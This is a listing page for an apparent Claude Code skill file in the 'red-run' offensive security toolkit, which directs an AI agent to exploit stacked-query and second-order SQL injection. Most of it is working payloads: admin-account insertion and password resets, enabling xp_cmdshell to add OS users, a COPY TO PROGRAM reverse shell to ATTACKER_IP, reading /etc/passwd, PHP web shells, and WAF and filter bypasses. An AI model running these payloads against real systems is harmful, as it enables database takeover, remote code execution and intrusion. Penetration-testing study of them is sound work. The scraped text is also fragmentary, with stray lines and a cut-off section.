acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide stacked query SQL injection and second-order injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill sql-injection-stacked --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/sql-injection-stackedContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide stacked query SQL injection and second-order injection exploitation during authorized penetration testing.
name: sql-injection-stacked description: > Guide stacked query SQL injection and second-order injection exploitation during authorized penetration testing. keywords: - stacked queries - multi-statement injection - xp_cmdshell - COPY TO PROGRAM - command execution via SQL - second-order SQLi - stored injection - data modification via SQLi - write webshell SQL - OS command from database tools: - sqlmap - burpsuite opsec: high
You are helping a penetration tester exploit stacked query SQL injection (executing multiple SQL statements via semicolons) and second-order injection (stored payloads that trigger in a different query context). These are the gateway to data manipulation, command execution, and file operations. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
| Feature | MSSQL | PostgreSQL | MySQL | Oracle | SQLite | |---------|-------|------------|-------|--------|--------| | Stacked queries (`;`) | Yes | Yes | No (default) | Limited | No | | Command execution | xp_cmdshell | COPY TO PROGRAM | UDF / INTO OUTFILE | Java / DBMS_SCHEDULER | No | | WAF bypass stacking | Yes (no `;` needed) | Limited | PREPARE/EXECUTE | N/A | N/A |
**MySQL caveat:** Stacking only works with `mysqli.multi_query()` or `PDO::ATTR_EMULATE_PREPARES => true`.
If not already provided, determine: 1. **Injection point** — URL, parameter name, request method 2. **DBMS** — critical for selecting the right stacking technique 3. **Current DB privileges** — sysadmin/superuser enables command execution
Skip if context was already provided.
-- No-op stacked query — no error means stacking is supported '; SELECT 1--+ -- Time-based confirmation '; WAITFOR DELAY '0:0:3'--+ -- MSSQL '; SELECT pg_sleep(3)--+ -- PostgreSQL
If `;` causes an error but other injection works, stacking is not supported — use read-only techniques instead.
MSSQL has the richest stacking support. Semicolons are optional.
**Data manipulation:**
'; INSERT INTO users (username, password, role) VALUES ('hacker','Passw0rd!','admin')--+
'; UPDATE users SET password='Passw0rd!' WHERE username='admin'--+**Enable and execute xp_cmdshell:**
-- Enable (disabled by default in SQL Server 2005+) '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--+ -- Execute OS commands '; EXEC xp_cmdshell 'whoami'--+ '; EXEC xp_cmdshell 'net user hacker Passw0rd! /add'--+ '; EXEC xp_cmdshell 'powershell -e JABjAGwAaQBl...'--+
**WAF bypass — stacking without semicolons:**
admin'exec('update[users]set[password]=''a''')--
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--**OLE Automation** (alternative to xp_cmdshell):
'; DECLARE @s INT; EXEC sp_oacreate 'wscript.shell',@s OUT; EXEC sp_oamethod @s,'run',NULL,'cmd /c whoami > C:\temp\out.txt'--+
Full stacking support via semicolons.
**Data manipulation:**
'; INSERT INTO users (username, password) VALUES ('hacker','Passw0rd!')--+
'; UPDATE users SET password='Passw0rd!' WHERE username='admin'--+
'; CREATE TABLE exfil (data text)--+**Command execution via COPY TO PROGRAM** (requires superuser or `pg_execute_server_program`):
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt'--+ '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--+
**Command execution via custom function (libc):**
'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6','system' LANGUAGE 'c' STRICT--+
'; SELECT system('id')--+**File operations:**
'; CREATE TABLE fileread (content text); COPY fileread FROM '/etc/passwd'--+ '; COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/cmd.php'--+
**PREPARE/EXECUTE workaround** (bypasses keyword filters):
0); SET @query = 0x53454c45435420534c454550283529; PREPARE stmt FROM @query; EXECUTE stmt; # -- 0x53454c45435420534c454550283529 = "SELECT SLEEP(5)"
**INSERT with ON DUPLICATE KEY UPDATE** (no stacking required):
-- Injected into INSERT VALUES clause:
attacker@evil.com"), ("admin@target.com","Passw0rd!") ON DUPLICATE KEY UPDATE password="Passw0rd!" #**File write** (no stacking required):
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--+
Limited stacking — primarily PL/SQL blocks.
**Command execution
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…